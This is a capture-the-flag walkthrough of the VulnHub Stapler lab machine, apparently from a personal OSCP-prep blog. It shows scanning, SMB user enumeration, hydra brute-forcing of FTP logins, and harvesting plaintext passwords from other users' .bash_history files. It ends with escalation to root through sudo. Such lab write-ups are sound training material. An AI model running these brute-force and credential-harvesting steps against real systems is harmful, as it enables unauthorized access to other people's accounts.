Stapler Walkthrough (OSCP Prep)

Stapler Walkthrough (OSCP Prep)


The Stapler 1 virtual machine was released on VulnHub in 2016. Authored by g0tmi1k, this is a very simple machine which can be rooted easily within a short time, at least by taking one of the multiple paths.

In this post, we’ll go over Stapler from boot to root.


|                                                         |
|                                  __..--''\              |
|                          __..--''         \             |
|                  __..--''          __..--''             |
|          __..--''          __..--''       |             |
|          \ o        __..--''____....----""              |
|           \__..--''\                                    |
|           |         \                                   |
|          +----------------------------------+           |
|          +----------------------------------+           |
|                                                         |
+- - - - - - - - - - - - - -|- - - - - - - - - - - - - - -+
|   Name: Stapler           |          IP: DHCP           |
|   Date: 2016-June-08      |        Goal: Get Root!      |
| Author: g0tmi1k           | Difficultly: ??? ;)         |
+- - - - - - - - - - - - - -|- - - - - - - - - - - - - - -+
|                                                         |
| + Average beginner/intermediate VM, only a few twists   |
|   + May find it easy/hard (depends on YOUR background)  |
|   + ...also which way you attack the box                |
|                                                         |
| + It SHOULD work on both VMware and Virtualbox          |
|   + REBOOT the VM if you CHANGE network modes           |
|   + Fusion users, you'll need to retry when importing   |
|                                                         |
| + There are multiple methods to-do this machine         |
|   + At least two (2) paths to get a limited shell       |
|   + At least three (3) ways to get a root access        |
|                                                         |
| + Made for BsidesLondon 2016                            |
|   + Slides: |
|                                                         |
| + Thanks g0tmi1k, nullmode, rasta_mouse & superkojiman  |
|   + ...and shout-outs to the VulnHub-CTF Team =)        |
|                                                         |
+- - - - - - - - - - - - - - - - - - - - - - - - - - - - -+
|                                                         |
|       --[[~~Enjoy. Have fun. Happy Hacking.~~]]--       |
|                                                         |

Before We Begin

The Stapler VM comes as an OVF image that must be imported into your hypervisor. Unfortunately, you may get some errors trying to import the OVF file into a newer version of VMWare.

VMWare fails to import Stapler.ovf

To fix this, open the .ovf file in a text editor, and replace all occurrences of the word Caption with ElementNam. Then remove the .mf file in the same directory. Check out this Reddit post for more details.

Now we can import the virtual machine into VMWare. Change the network configuration, create a snapshot, and we’re ready to go.


Host Discovery

Let’s find the IP address of the Stapler box with arp-scan:

└─$ sudo arp-scan -l
[sudo] password for ori0n:
Interface: eth0, type: EN10MB, MAC: 00:0c:29:e2:a7:d8, IPv4:
Starting arp-scan 1.9.7 with 256 hosts (       00:50:56:c0:00:08       VMware, Inc.       00:50:56:fb:3b:27       VMware, Inc.     00:0c:29:60:54:c7       VMware, Inc.     00:50:56:e7:f8:fb       VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.000 seconds (128.00 hosts/sec). 4 respondedjj

So it’s on the network at address I’ll update /etc/hosts to create an alias:     stapler


We’ll use rustscan to look for open ports and perform an nmap version scan.

└─$ rustscan -a stapler --  -sV
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
:           :
: :
Please contribute more quotes to our GitHub

[~] The config file is expected to be at "/home/ori0n/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.91 ( ) at 2021-08-06 19:27 CDT
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 19:27
Scanning [2 ports]
Completed Ping Scan at 19:27, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 19:27
Scanning stapler ( [8 ports]
Discovered open port 3306/tcp on
Discovered open port 53/tcp on
Discovered open port 80/tcp on
Discovered open port 22/tcp on
Discovered open port 139/tcp on
Discovered open port 21/tcp on
Discovered open port 12380/tcp on
Discovered open port 666/tcp on
Completed Connect Scan at 19:27, 0.00s elapsed (8 total ports)
Initiating Service scan at 19:27
Scanning 8 services on stapler (
Completed Service scan at 19:27, 11.04s elapsed (8 services on 1 host)
NSE: Script scanning
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 19:27
Completed NSE at 19:27, 0.10s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 19:27
Completed NSE at 19:27, 0.01s elapsed
Nmap scan report for stapler (
Host is up, received syn-ack (0.00072s latency).
Scanned at 2021-08-06 19:27:17 CDT for 11s

21/tcp    open  ftp         syn-ack vsftpd 2.0.8 or later
22/tcp    open  ssh         syn-ack OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
53/tcp    open  domain      syn-ack dnsmasq 2.75
80/tcp    open  http        syn-ack PHP cli server 5.5 or later
139/tcp   open  netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
666/tcp   open  tcpwrapped  syn-ack
3306/tcp  open  mysql       syn-ack MySQL 5.7.12-0ubuntu1
12380/tcp open  http        syn-ack Apache httpd 2.4.18 ((Ubuntu))
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 11.85 seconds

There is quite a lot going on here. We’ll start with the uncommon ports.

Enumerating Port 12380 (HTTP)

The 12380 port looks interesting. It appears to be running a web server, so open up a web browser and head to http://stapler:12380.

Web server on port 12380

Not much here. Checking the source, there are a couple of comments of interest:

<!-- A message from the head of our HR department, Zoe, if you are looking at this, we want to hire you! -->
<!--    Change the image source '/images/default.jpg' with your favourite image.     -->

So we have a potential username, Zoe, and maybe an /images directory to enumerate. Trying to get to http://stapler:12380/images/ simply redirects to the index page, however. In fact, it seems all URLs on this port redirect to the index page. We’ll move on for now.

Port 666

We also see something running on port 666. We can use netcat to see if we can figure out what’s running there:

└─$ nc stapler 666
      message2.jpgUT    +QWJQWux
                                 TPA@ UTT2>RDKJj"DL[E
_dr9uYoXY2e=y}a>` :y^sC


And we get a bunch of gibberish. It appears to be binary data, but we can see the string “message2.jpg” buried within. Let’s try to pipe this data into a file for a deeper look.

Trying to connect back to the same port right away will immediately drop the connection, so we can add a sleep command to wait some time before reconnecting. Then we’ll see if the file command can determine the data type of the file.

└─$ sleep 60; nc stapler  666 > data

└─$ file data
data: Zip archive data, at least v2.0 to extract

└─$ mv data; unzip
  inflating: message2.jpg

It looks like a Zip file. After unpacking, we find a JPG image. That would explain the message2.jpg string we saw buried in the data. Let’s see if it gives us anything useful.


We get another potential username and a segmentation fault error message. Perhaps this is a clue for later on in the box. Or perhaps g0tmi1k is trolling us and this is just a rabbit hole.

Enumerating Port 139 (smbd)

SMB is often a good place to find information and/or exploitable security holes. Let’s check it out.

For starters, run enum4linux. Within the sea of text, we can find a long list of usernames.

└─$ enum4linux -a stapler
Starting enum4linux v0.8.9 ( ) on Fri Aug  6 19:57
:54 2021


[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\peter (Local User)
S-1-22-1-1001 Unix User\RNunemaker (Local User)
S-1-22-1-1002 Unix User\ETollefson (Local User)
S-1-22-1-1003 Unix User\DSwanger (Local User)
S-1-22-1-1004 Unix User\AParnell (Local User)
S-1-22-1-1005 Unix User\SHayslett (Local User)
S-1-22-1-1006 Unix User\MBassin (Local User)
S-1-22-1-1007 Unix User\JBare (Local User)
S-1-22-1-1008 Unix User\LSolum (Local User)
S-1-22-1-1009 Unix User\IChadwick (Local User)
S-1-22-1-1010 Unix User\MFrei (Local User)
S-1-22-1-1011 Unix User\SStroud (Local User)
S-1-22-1-1012 Unix User\CCeaser (Local User)
S-1-22-1-1013 Unix User\JKanode (Local User)
S-1-22-1-1014 Unix User\CJoo (Local User)
S-1-22-1-1015 Unix User\Eeth (Local User)
S-1-22-1-1016 Unix User\LSolum2 (Local User)
S-1-22-1-1017 Unix User\JLipps (Local User)
S-1-22-1-1018 Unix User\jamie (Local User)
S-1-22-1-1019 Unix User\Sam (Local User)
S-1-22-1-1020 Unix User\Drew (Local User)
S-1-22-1-1021 Unix User\jess (Local User)
S-1-22-1-1022 Unix User\SHAY (Local User)
S-1-22-1-1023 Unix User\Taylor (Local User)
S-1-22-1-1024 Unix User\mel (Local User)
S-1-22-1-1025 Unix User\kai (Local User)
S-1-22-1-1026 Unix User\zoe (Local User)
S-1-22-1-1027 Unix User\NATHAN (Local User)
S-1-22-1-1028 Unix User\www (Local User)
S-1-22-1-1029 Unix User\elly (Local User)


Copy these usernames to a file called users.txt. These will definitely come in handy.

Brute Forcing with Hydra

With this list of usernames, we can attempt to crack some passwords. Because it isn’t uncommon for users to use their usernames as their passwords as well, let’s try a quick brute force with hydra.

Because brute-forcing SSH is painfully slow, we’ll try cracking the FTP server first:

└─$ hydra -L users.txt -P users.txt stapler ftp
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra ( starting at 2021-08-06 20:03:11
[DATA] max 16 tasks per 1 server, overall 16 tasks, 900 login tries (l:30/p:30), ~57 tries per task
[DATA] attacking ftp://stapler:21/
[21][ftp] host: stapler   login: SHayslett   password: SHayslett

After only a minute or two, we have a hit. I’ll leave this running and see what I can do with these creds.

Getting In and a Quick Privesc

Try to SSH in with the cracked credentials:

└─$ ssh SHayslett@stapler
~          Barry, don't forget to put a message here           ~
SHayslett@stapler's password:
Welcome back!

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


And we’re in! First, let’s check out our privileges:

SHayslett@red:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for SHayslett:
Sorry, user SHayslett may not run sudo on red.

No luck with sudo. Digging through the home directories often uncovers diamonds. Let’s look for readable files:

SHayslett@red:~$ find /home -readable


So there are a whole lot of readable files. The .bash_history files might provide something we can use, so let’s use a bit of command-line fu to dump them:

SHayslett@red:~$ find /home -name .bash_history -exec cat {} \;
ps aux
cat: /home/peter/.bash_history: Permission denied
find: ‘/home/peter/.cache’: Permission denied
ls -lah
ps aux
sshpass -p thisimypassword ssh JKanode@localhost
apt-get install sshpass
sshpass -p JZQuyIN5 peter@localhost
ps -ef
kill -9 3747

We get more creds!

We can use the id command to see if either of these users is likely to have significant privileges on the box.

SHayslett@red:~$ id JKanode
uid=1013(JKanode) gid=1013(JKanode) groups=1013(JKanode)
SHayslett@red:~$ id peter
uid=1000(peter) gid=1000(peter) groups=1000(peter),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)

Hey Peter, man, what you got for us?


Head over to Peter’s account and see what sudo can do for you.

SHayslett@red:~$ su peter
This is the Z Shell configuration function for new users,
You are seeing this message because you have no zsh startup files
(the files .zshenv, .zprofile, .zshrc, .zlogin in the directory
~).  This function can help you with a few settings that should
make your use of the shell easier.

You can:

(q)  Quit and do nothing.  The function will be run again next time.

(0)  Exit, creating the file ~/.zshrc containing just a comment.
     That will prevent this function being run again.

(1)  Continue to the main menu.

(2)  Populate your ~/.zshrc with the configuration recommended
     by the system administrator and exit (you will need to edit
     the file by hand, if so desired).

--- Type one of the keys in parentheses --- q
red% sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for peter:
Matching Defaults entries for peter on red:
    lecture=always, env_reset, mail_badpass,

User peter may run the following commands on red:
    (ALL : ALL) ALL

Piece of cake! Let’s get our root shell:

red% sudo -s
red# id
uid=0(root) gid=0(root) groups=0(root)

Get the Flag

Capturing the flag on this box is simple. Head over to the /root directory. We find flag.txt and cat it out:

red# cd /root
red# ls -l
total 72
-rwxr-xr-x 1 root root  1090 Jun  5  2016
-rw-r--r-- 1 root root   463 Jun  5  2016 flag.txt
-rw-r--r-- 1 root root   345 Jun  5  2016 issue
-rwxr-xr-x 1 root root   103 Jun  5  2016
-rw-r--r-- 1 root root 54405 Jun  5  2016 wordpress.sql
red# cat flag.txt
                          |       |
                          |       |
         _,._             |       |
    __.o`   o`"-.         |       |
 .-O o `"-.o   O )_,._    |       |
( o   O  o )--.-"`O   o"-.`'-----'`
 '--------'  (   o  O    o)

Wrapping Up

Stapler ended up being a super simple machine with a very quick path to root. According to the readme, there are at least two paths to a foothold and at least three ways to get root. Perhaps we’ll dig deeper into these in the future.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.